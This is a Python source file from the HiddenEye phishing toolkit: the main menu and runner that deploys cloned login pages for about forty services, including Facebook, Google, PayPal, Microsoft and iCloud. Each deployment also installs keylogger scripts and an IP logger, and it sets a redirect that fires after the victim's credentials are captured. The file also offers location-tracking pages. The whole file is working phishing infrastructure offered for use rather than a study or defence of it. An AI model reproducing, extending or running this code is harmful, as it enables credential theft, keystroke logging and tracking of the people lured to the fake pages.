HiddenEye-Legacy/Defs/ActionManager/main_runner.py

449 lines
18 KiB
Python

#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import time
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import remove
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
from Defs.LocalizationManager.helper import print_sorted_as_menu
module_loading_message = simple_informant.module_loading_message
def start_main_menu():
run_command("clear")
print(global_localization.hidden_eye_logo)
print(localization.lang_start_main_menu["version_by_darksec"])
print(localization.lang_start_main_menu["short_description"])
print(localization.lang_start_main_menu["features_summary"])
print(localization.lang_start_main_menu["down_line"])
print(localization.lang_start_main_menu["attack_vector_message"])
print(localization.lang_start_main_menu["phishing_modules_header"])
print_sorted_as_menu(
localization.lang_start_main_menu["phishing_modules_list"])
print(localization.lang_start_main_menu["additional_modules"])
print_sorted_as_menu(
localization.lang_start_main_menu["additional_modules_list"])
option = input(global_localization.input_line)
option = option.zfill(2)
if option == "01":
module_loading_message("Facebook")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Facebook", customOption)
elif option == "02":
module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Google", customOption)
elif option == "03":
module_loading_message("LinkedIn")
customOption = ""
start_phishing_page("LinkedIn", customOption)
elif option == "04":
module_loading_message("GitHub")
customOption = ""
start_phishing_page("GitHub", customOption)
elif option == "05":
module_loading_message("StackOverflow")
customOption = ""
start_phishing_page("StackOverflow", customOption)
elif option == "06":
module_loading_message("WordPress")
customOption = ""
start_phishing_page("WordPress", customOption)
elif option == "07":
module_loading_message("Twitter")
customOption = ""
start_phishing_page("Twitter", customOption)
elif option == "08":
module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Instagram", customOption)
elif option == "09":
module_loading_message("Snapchat")
customOption = ""
start_phishing_page("Snapchat", customOption)
elif option == "10":
module_loading_message("Yahoo")
customOption = ""
start_phishing_page("Yahoo", customOption)
elif option == "11":
module_loading_message("Twitch")
customOption = ""
start_phishing_page("Twitch", customOption)
elif option == "12":
module_loading_message("Microsoft")
customOption = ""
start_phishing_page("Microsoft", customOption)
elif option == "13":
module_loading_message("Steam")
customOption = ""
start_phishing_page("Steam", customOption)
elif option == "14":
module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("VK", customOption)
elif option == "15":
module_loading_message("iCloud")
customOption = ""
start_phishing_page("iCloud", customOption)
elif option == "16":
module_loading_message("GitLab")
customOption = ""
start_phishing_page("GitLab", customOption)
elif option == "17":
module_loading_message("NetFlix")
customOption = ""
start_phishing_page("NetFlix", customOption)
elif option == "18":
module_loading_message("Origin")
customOption = ""
start_phishing_page("Origin", customOption)
elif option == "19":
module_loading_message("Pinterest")
customOption = ""
start_phishing_page("Pinterest", customOption)
elif option == "20":
module_loading_message("ProtonMail")
customOption = ""
start_phishing_page("ProtonMail", customOption)
elif option == "21":
module_loading_message("Spotify")
customOption = ""
start_phishing_page("Spotify", customOption)
elif option == "22":
module_loading_message("Quora")
customOption = ""
start_phishing_page("Quora", customOption)
elif option == "23":
module_loading_message("PornHub")
customOption = ""
start_phishing_page("PornHub", customOption)
elif option == "24":
module_loading_message("Adobe")
customOption = ""
start_phishing_page("Adobe", customOption)
elif option == "25":
module_loading_message("Badoo")
customOption = ""
start_phishing_page("Badoo", customOption)
elif option == "26":
module_loading_message("CryptoCurrency")
customOption = ""
start_phishing_page("CryptoCurrency", customOption)
elif option == "27":
module_loading_message("DevianArt")
customOption = ""
start_phishing_page("DevianArt", customOption)
elif option == "28":
module_loading_message("DropBox")
customOption = ""
start_phishing_page("DropBox", customOption)
elif option == "29":
module_loading_message("eBay")
customOption = ""
start_phishing_page("eBay", customOption)
elif option == "30":
module_loading_message("MySpace")
customOption = ""
start_phishing_page("Myspace", customOption)
elif option == "31":
module_loading_message("PayPal")
customOption = ""
start_phishing_page("PayPal", customOption)
elif option == "32":
module_loading_message("Shopify")
customOption = ""
start_phishing_page("Shopify", customOption)
elif option == "33":
module_loading_message("Verizon")
customOption = ""
start_phishing_page("Verizon", customOption)
elif option == "34":
module_loading_message("Yandex")
customOption = ""
start_phishing_page("Yandex", customOption)
elif option == "35":
module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Reddit", customOption)
elif option == "36":
module_loading_message("Subitoit")
customOption = ""
start_phishing_page("Subitoit", customOption)
elif option == "37":
module_loading_message("PlayStation")
customOption = ""
start_phishing_page("PlayStation", customOption)
elif option == "38":
module_loading_message("Xbox")
customOption = ""
start_phishing_page("Xbox", customOption)
elif option == "39":
module_loading_message("CUSTOM(1)")
customOption = ""
start_phishing_page("CUSTOM(1)", customOption)
elif option == "40":
module_loading_message("CUSTOM(2)")
customOption = ""
start_phishing_page("CUSTOM(2)", customOption)
"""PHISHING MODULES BELOW"""
elif option == "0A":
module_loading_message("LOCATION")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.
lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("LOCATION", customOption)
else:
start_main_menu()
def start_phishing_page(page, custom_option): # Phishing pages selection menu
run_command(["chmod", "-R", "777", "Server"])
rmtree("Server/www", onerror=simple_informant.remove_readonly)
mkdir("Server/www")
pathlib_Path("Server/www/usernames.txt").touch()
pathlib_Path("Server/www/ip.txt").touch()
copyfile("WebPages/ip.php", "Server/www/ip.php")
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
try:
remove("link.url")
except:
pass
if custom_option == "1" and page == "Facebook":
webpage_set("WebPages/fb_standard/", "Server/www/")
elif custom_option == "2" and page == "Facebook":
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
elif custom_option == "3" and page == "Facebook":
webpage_set("WebPages/fb_security_fake/", "Server/www/")
elif custom_option == "4" and page == "Facebook":
webpage_set("WebPages/fb_messenger/", "Server/www/")
elif custom_option == "1" and page == "Google":
webpage_set("WebPages/google_standard/", "Server/www/")
elif custom_option == "2" and page == "Google":
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
elif custom_option == "3" and page == "Google":
webpage_set("WebPages/google_advanced_web/", "Server/www/")
elif page == "LinkedIn":
webpage_set("WebPages/linkedin/", "Server/www/")
elif page == "GitHub":
webpage_set("WebPages/GitHub/", "Server/www/")
elif page == "StackOverflow":
webpage_set("WebPages/stackoverflow/", "Server/www/")
elif page == "WordPress":
webpage_set("WebPages/wordpress/", "Server/www/")
elif page == "Twitter":
webpage_set("WebPages/twitter/", "Server/www/")
elif page == "Snapchat":
webpage_set("WebPages/Snapchat_web/", "Server/www/")
elif page == "Yahoo":
webpage_set("WebPages/yahoo_web/", "Server/www/")
elif page == "Twitch":
webpage_set("WebPages/twitch/", "Server/www/")
elif page == "Microsoft":
webpage_set("WebPages/live_web/", "Server/www/")
elif page == "Steam":
webpage_set("WebPages/steam/", "Server/www/")
elif page == "iCloud":
webpage_set("WebPages/iCloud/", "Server/www/")
elif custom_option == "1" and page == "Instagram":
webpage_set("WebPages/Instagram_web/", "Server/www/")
elif custom_option == "2" and page == "Instagram":
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
elif custom_option == "3" and page == "Instagram":
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
elif custom_option == "4" and page == "Instagram":
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
elif custom_option == "5" and page == "Instagram":
webpage_set("WebPages/instafollowers/", "Server/www/")
elif custom_option == "1" and page == "VK":
webpage_set("WebPages/VK/", "Server/www/")
elif custom_option == "2" and page == "VK":
webpage_set("WebPages/VK_poll_method/", "Server/www/")
elif page == "GitLab":
webpage_set("WebPages/gitlab/", "Server/www/")
elif page == "NetFlix":
webpage_set("WebPages/netflix/", "Server/www/")
elif page == "Origin":
webpage_set("WebPages/origin/", "Server/www/")
elif page == "Pinterest":
webpage_set("WebPages/pinterest/", "Server/www/")
elif page == "ProtonMail":
webpage_set("WebPages/protonmail/", "Server/www/")
elif page == "Spotify":
webpage_set("WebPages/spotify/", "Server/www/")
elif page == "Quora":
webpage_set("WebPages/quora/", "Server/www/")
elif page == "PornHub":
webpage_set("WebPages/pornhub/", "Server/www/")
elif page == "Adobe":
webpage_set("WebPages/adobe/", "Server/www/")
elif page == "Badoo":
webpage_set("WebPages/badoo/", "Server/www/")
elif page == "CryptoCurrency":
webpage_set("WebPages/cryptocurrency/", "Server/www/")
elif page == "DevianArt":
webpage_set("WebPages/devianart/", "Server/www/")
elif page == "DropBox":
webpage_set("WebPages/dropbox/", "Server/www/")
elif page == "eBay":
webpage_set("WebPages/ebay/", "Server/www/")
elif page == "Myspace":
webpage_set("WebPages/myspace/", "Server/www/")
elif page == "PayPal":
webpage_set("WebPages/paypal/", "Server/www/")
elif page == "Shopify":
webpage_set("WebPages/shopify/", "Server/www/")
elif page == "Verizon":
webpage_set("WebPages/verizon/", "Server/www/")
elif page == "Yandex":
webpage_set("WebPages/yandex/", "Server/www/")
elif custom_option == "1" and page == "Reddit":
webpage_set("WebPages/Reddit/", "Server/www/")
elif custom_option == "2" and page == "Reddit":
webpage_set("WebPages/Reddit-old/", "Server/www/")
elif page == "Subitoit":
webpage_set("WebPages/subitoit/", "Server/www/")
elif page == "PlayStation":
webpage_set("WebPages/playstation/", "Server/www/")
elif page == "Xbox":
webpage_set("WebPages/xbox/", "Server/www/")
elif page == "CUSTOM(1)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"])
wait(3)
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
elif page == "CUSTOM(2)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"])
wait(3)
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
# Tools Below && Phishing Pages Above
elif custom_option == "1" and page == "LOCATION":
wait(3)
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"])
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
elif custom_option == "2" and page == "LOCATION":
wait(3)
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
else:
run_command("clear")
print("Please choose a valid option")
time.sleep(1)
start_main_menu()
def enter_custom_redirecting_url(
): # Question where user can input custom web-link
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.
lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
print(localization.
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
custom = input(
localization.lang_enter_custom_redirecting_url["redirect_here"])
if "http://" in custom or "https://" in custom:
pass
else:
custom = "http://" + custom
# For Location (gdrive) Template Redirection.
if path.exists("Server/www/js/location.js"):
with open("Server/www/js/location.js") as f:
read_data = f.read()
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/js/location.js", "w")
f.write(c)
f.close()
if path.exists("Server/www/post.php") and path.exists(
"Server/www/login.php"):
with open("Server/www/login.php") as f:
read_data = f.read()
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/login.php", "w")
f.write(c)
f.close()
with open("Server/www/post.php") as f:
read_data = f.read()
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/post.php", "w")
f.write(c)
f.close()
else:
try:
with open("Server/www/login.php") as f:
read_data = f.read()
c = read_data.replace("<CUSTOM>", custom)
f = open("Server/www/login.php", "w")
f.write(c)
f.close()
except FileNotFoundError:
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(
"[^] ERROR: Please make sure your folder contains a valid login.php file."
)
exit()